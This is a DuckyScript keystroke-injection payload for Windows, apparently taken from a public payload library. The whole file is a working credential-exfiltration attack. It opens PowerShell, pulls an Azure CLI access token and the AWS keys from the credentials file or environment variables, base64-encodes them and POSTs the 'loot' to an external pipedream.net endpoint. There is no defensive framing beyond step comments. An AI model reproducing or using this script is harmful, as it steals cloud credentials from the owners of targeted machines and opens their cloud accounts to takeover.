Path: blob/master/payloads/library/exfiltration/ExfiltrateCloudCreds/payload.txt
2968 views
REM Title: Exfil Cloud Credentials1REM Author: github.com/jasonotu2REM Description: Exfils Azure access token and AWS keys using respective CLI3REM Target: Windows4REM Version: 1.05REM Category: Exfiltration6DEFAULTDELAY 1078DEFINE #ENDPOINT https://xxxxxxxxxxxxxxxx.m.pipedream.net910DELAY 100011REM Open Run dialog12GUI r13DELAY 50014REM Type "powershell" to open PowerShell15STRING powershell16ENTER17DELAY 10001819REM Get access token from authenticated Azure CLI20STRING $userProfile = [System.Environment]::GetFolderPath([System.Environment+SpecialFolder]::UserProfile)21ENTER22STRING $token = az account get-access-token23ENTER24STRING ($az_encoded = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($token)))25ENTER26DELAY 30002728REM Get AWS keys29STRING $creds = $userProfile + "\.aws\credentials"30ENTER31STRING echo $creds32ENTER33STRING $keys = if (Test-Path -Path $creds -PathType Leaf) {Get-Content -Path $creds} else34ENTER35STRING {echo "AWS_ACCESS_KEY_ID = ${env:AWS_ACCESS_KEY_ID} AWS_SECRET_ACCESS_KEY = ${env:AWS_SECRET_ACCESS_KEY}"}36ENTER37STRING $aws_encoded = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($keys))38ENTER3940REM Got the loot, exfil41STRING $endpoint = ''42ENTER43STRING $loot = '{""az"":""' + $az_encoded + '"",""aws"":""' + $aws_encoded + '""}'44ENTER45DELAY 50046REM Send the HTTP request47STRING $response = Invoke-RestMethod -Uri #ENDPOINT -Method Post -ContentType 'application/json' -Body $loot48ENTER49DELAY 100050REM Display the response51STRING $response52ENTER53DELAY 100054REM Exit PowerShell55STRING exit56ENTER575859